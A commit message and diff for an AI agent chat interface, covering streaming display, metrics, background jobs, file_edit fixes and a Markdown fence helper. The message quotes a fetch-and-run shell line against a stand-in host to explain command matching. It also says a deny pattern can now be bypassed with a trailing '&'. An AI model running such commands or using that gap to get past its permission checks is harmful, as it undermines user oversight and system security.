A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/markdown.py

@@ -157,6 +157,43 @@ def render_markdown(text: str) -> str:
     )
 
 
+# A fence opener: three or more backticks or tildes at the start of a line,
+# optionally indented, with whatever info string follows. Deliberately shallow --
+# it does not know about lists, block quotes or indented code, and it does not
+# have to. See `open_fence`.
+_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$")
+
+
+def open_fence(text: str) -> tuple[str, str]:
+    """The marker and info string of a fence left open, or ``("", "")``.
+
+    A reply is rendered in pieces now -- one per step, split where the model
+    stopped to call a tool -- and a fence opened in one piece and never closed
+    would run to the end of that piece and then leave every later fence in the
+    reply paired up wrongly. `services/steps.py` uses this to close such a fence
+    at the end of its own segment and reopen it at the start of the next.
+
+    Deliberately not a second Markdown parser. It has to be right about one
+    thing: a model that opened a fence and then called a tool. Where it is
+    unsure it says "no fence", which renders exactly as the whole-text version
+    always did.
+    """
+    marker = ""
+    info = ""
+    for line in text.splitlines():
+        found = _FENCE.match(line)
+        if found is None:
+            continue
+        fence, rest = found.group(1), found.group(2).strip()
+        if not marker:
+            marker, info = fence, rest
+        elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest:
+            # A closer is the same character, at least as long, and carries no
+            # info string. Anything else inside an open fence is just text.
+            marker, info = "", ""
+    return marker, info
+
+
 # A mention is `@` followed by a run of non-space, claimed only at the start of
 # the text or after whitespace. That last part is the whole rule: without it
 # every email address in a message becomes a highlighted file reference, which